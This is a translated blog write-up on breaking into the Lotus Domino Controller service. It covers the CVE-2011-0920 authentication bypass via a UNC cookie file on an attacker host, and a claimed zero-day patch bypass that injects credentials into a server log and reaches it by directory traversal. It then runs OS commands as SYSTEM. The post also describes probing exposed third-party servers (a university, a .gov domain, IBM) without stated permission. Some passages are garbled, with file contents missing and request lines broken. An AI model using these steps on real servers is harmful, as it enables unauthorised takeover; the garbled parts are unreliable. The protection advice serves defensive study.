Penetration in Lotus Domino
Exploiting Lotus Domino Controller Service Vulnerabilities
Recently, I often tell stories about how, in an ordinary pen test, it is possible to identify a 0-day vulnerability in popular software or to develop a private exploit. In fact, this kind of problem is rarely and selectively solved during the pen test, and there are reasons for this.
Nevertheless, I want to share a story (yeah, a story) about how, when solving just such problems, the pen test goes beyond the scope of monotonous scanning, brute force and stuffing quotes into the parameters of a web application. Namely, in this post we will talk about a simple bug in Lotus Domino Server Controller , about how a private exploit was created, and also found a zero-day problem that is relevant today.

Penetration test
So, penetration test. This topic is steadily mused every year on various blogs and various specialists. And this is no accident: this service has many different subtleties and pitfalls. But I will not stir up the water about the necessity, usefulness and content of this thing, I want to talk about the work itself. About what makes a pen test a pen test.
Any pen tester solves many sub-tasks in order to fulfill the main task - the implementation of attacks on information system components. In doing so, I will leave a detailed description and possible variations on the topic of the main task outside the brackets, since this is again uninteresting now, but here are two or three sub-tasks that are “state-of-art”:
- Search (and confirmation) of vulnerability
- Exploit development
- Exploitation of vulnerability
It so happened that during one of the pen-tests, a whole set of vulnerabilities was discovered without publicly available exploits, even without PoCs or detailed descriptions of the problem. Therefore, for one such vulnerability, it was decided to learn everything by ourselves and write a private exploit.
Authentication bypass in Lotus Domino Server Controller
CVE-2011-0920
This vulnerability was discovered by Patrick Karlsson and sold offal in ZDI . So the description from the ZDI website is the only information that we have. Brief retelling:
“Vulnerability in the Domino Controller service, TCP port 2050. During authentication, the attacker can set the COOKIEFILE parameter as the UNC path, thus establishing control over the file as the source of the basic authentication data and the values entered during authentication. This allows you to bypass the authentication verification mechanism and gain access to the administration console. Leads to code execution with SYSTEM privileges. ”
The description, although not detailed, but says enough about what is happening. This means that you can connect to port number 2050, slip the COOKIEFILE parameter through some protocol, indicating a path like \\ ATTACKER_HOST \ FILE. And in this file place the username and password and, using the same username and password, log in. It remains just a little bit - to parse the protocol and file format. Using Nmap scans, you can determine that all work is done over SSL, but the communication protocol in the SSL wrapper remains to be seen. In fact, it is extremely simple: it’s enough to note that the Lotus Domino Controller service is completely written in Java, and both the client and server parts, all in one file:
C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jarThis file is easily decompiled (for example, using DJ Java Decompiler, although he is not as good as we would like). After that, we look for the code responsible for connecting and processing requests. Request processing is carried out in the class NewClient. In this class plaintext-requests of the form: #COMMAND param1, param2, ... are parsed. All commands are described separately:
. . .
// Функция ReadFromUser();
// s1 – строка из 2050/tcp
if(s1.equals("#EXIT"))
return 2;
. . .
if(s1.equals("#APPLET"))
return 6;
. . .
if(s1.equals("#COOKIEFILE"))
if(stringtokenizer.hasMoreTokens()) //есть ли после пробела ещё что-то
// Формат: #COOKIEFILE
cookieFilename = stringtokenizer.nextToken().trim(); //считываем
return 7;
. . .
if(s1.equals("#UI"))
if(stringtokenizer.hasMoreTokens())
// Формат: #UI ,
usr = stringtokenizer.nextToken(",").trim(); //Login
if(usr == null)
return 4;
if(stringtokenizer.hasMoreTokens())
// passwords
pwd = stringtokenizer.nextToken().trim(); //Password
return 0;
So we met the COOKIEFILE parameter. However, one is not enough. Consider the main loop:
do
{
int i = ReadFromUser(); //Point.1
if(i == 2)
break; //if #EXIT
. . .
if(i == 6) //if #APPLET Point.2
{
appletConnection = true;
continue;
}
. . .
// вырезан поиск логина в admindata.xml
. . .
if(userinfo == null) //Point.9
{
// Если логина нет в admindata.xml
WriteToUser("NOT_REG_ADMIN");
continue;
}
. . .
if(!appletConnection) //Point.3
flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD())
else
flag = verifyAppletUserCookie(usr, pwd); // if #APPLET
. . .
if(flag)
WriteToUser("VALID_USER");
else
WriteToUser("WRONG_PASSWORD");
} while(true);
if(flag)
{
//Функционал консоли
. . .
}else
{
//Отключение
}
As you can see, we have TWO authentication options (Point.3). The first is ordinary by login and password, and the second is also by login and password, but using COOKIEFILE. In this case, the second option is selected only if there was a #APPLET (Point.2) command before that. All commands are read in turn in a loop (Point.1). Therefore, just #COOKIEFILE is not enough.
Now we understand the format of the protocol, what is the format of the file itself? Consider the verifyAppletUserCookie function:
File file = new File(cookieFilename); //Point.4
. . .
inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8");
. . .
inputstreamreader.read(ac, 0, i); //Point.5
. . .
String s7 = new String(ac);
. . .
do {
if((j = s7.indexOf("", j);
if(k == -1)
break;
String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7
. . .
String s3 = getStringToken(s7, "cookie=\"", "\"", j, k);
. . .
String s4 = getStringToken(s7, "address=\"", "\"", j, k);
. . .
//Point.8
if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\
appletUserAddress.equalsIgnoreCase(s4))
{
flag = true;
break;
}
. . .
} while(true);
It can be seen that in the line commented out as Point.4, the file opens, the name of which is set by the user (the variable is initialized in the ReadFromUser () function when parsing the #COOKIEFILE command). Moreover, the input is not filtered in any way, there may at least be a UNC path. Next, the file is read into the s7 line (Point.5). Then this line is processed in a loop, where it can be seen that this is an ordinary XML file of the form:
After that, in the line commented out as Point.8, the login, password and address values (#ADDRESS) are compared with the corresponding tag attribute values. Since this file can be read from a remote host (by slipping UNC path), the attack becomes simple and obvious.
Here is the exploitation of the vulnerability for ZDI-11-110
1. Create a file (cookie.xml):
2. Using ncat

The “#APPLET” command tells the server that we want to use the cookie for authentication. Now, when we try to authenticate using the “#UI” command, the server will try to open the file along the path that we gave it using “#COOKIEFILE”. After which he will take authentication data from there and compare it with the ones entered after the #UI command. After the “#EXIT” command, the server will start the input processing for the authenticated user, and you can already manage the service, as well as execute OS commands!
It would seem that the fairy tale is over. Moreover, IBM made a fix for this problem, and not even one! These innovations have appeared since version 8.5.2FP3 and 8.5.3.
Correction 1.

Now, a valid client certificate is required to connect to port 2050. That is, Ncat and Nmap no longer work with port 2050.
Correction 2.

Now “. \” Is added before the file name, which means that we can no longer use UNC. Vulnerability fixed. The patch seems adequate.
This is actually not the case. Take a look at the lines of code again (commented out as Point.6 and Point.7). The getStringToken function is actually a substring. Hence the quite obvious question: why did the programmers when implementing this module resorted to writing their own XML parser? Obviously, this parser works with any file that contains the corresponding line: “
But here's what you can slip in, and it is just as well parsed:
trashtrashWhat does it mean? Apparently, we found another vulnerability in the same section of code. Namely, in combination with the ability to connect a local file (UNC cannot, but the traversal directory is still how we can: #COOKIEFILE .. \ .. \ .. \ .. \ file -> . \ .. \ .. \ .. \ file), you can inject authentication data into any writable files.
For example:
1. Injective cookievalues using the Microsoft HTTPAPI service (thanks to jug for finding this log file on a combat, enemy server at the right time):
C:\> ncat targethost 49152
GET / ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0
Here \ r \ n is just Enter!
2. Now the log file on the server will be like this:
#Software: Microsoft HTTP API 2.0
#Version: 1.0
#Date: 2011-08-22 09:19:16
#Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET 404 - NotFound -
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
The two requests were not made accidentally, as the IBM parser will look for the string “
Well, almost everything is ready, it remains only to learn how to connect to 2050, because we do not have an SSL certificate. Or is there? Remembering that dconsole.jar is also responsible for the client part as an applet, it is obvious that there should be a certificate there - and it is there. And the key is there. Everything is there. In principle, you can pull out the key and write an exploit, but if you are too lazy, you can directly use this applet:
We load this applet in any browser, add a redirect from the local port 2050 to the remote one, and that's it - the effect is achieved. Video Example:
Executing commands from the console. Option 1:
LOAD cmd.exe /c command Executing commands from the console. Option 2:
$ command Protection:
- Port 2050 actually needs to be filtered.
- Disable dangerous commands in the console by setting an additional console password (protects against executing commands from the console in the first version).
- Check file admindata.xml. For each user, you need to check the privileges. Values 4, 25 or 26 indicate that this user has the right to execute system commands! By deleting them, we will protect ourselves from executing commands from the console in the second version.
Note:
The attacker in all of the above options, in order to successfully bypass authentications, needs to know the correct login value. In any case, it can be enumerated, because in case of a non-existent login, NOT_REG_ADMIN error is generated, and if the password is incorrect, then WRONG_PASSWORD (Point.9).
PS Attack from the Internet
Subnet of a Moscow university:

.gov domain, or American scientists do not like firewalls:

Even IBM itself cannot filter port 2050 and update Lotus (+ demonstration of guessing the “login”):

conclusions
- Patches do not always solve the problem to the end.
- Firewall is the best protection.
- Do not ignore the built-in security settings.
... and even then 0day vulnerabilities are not terrible.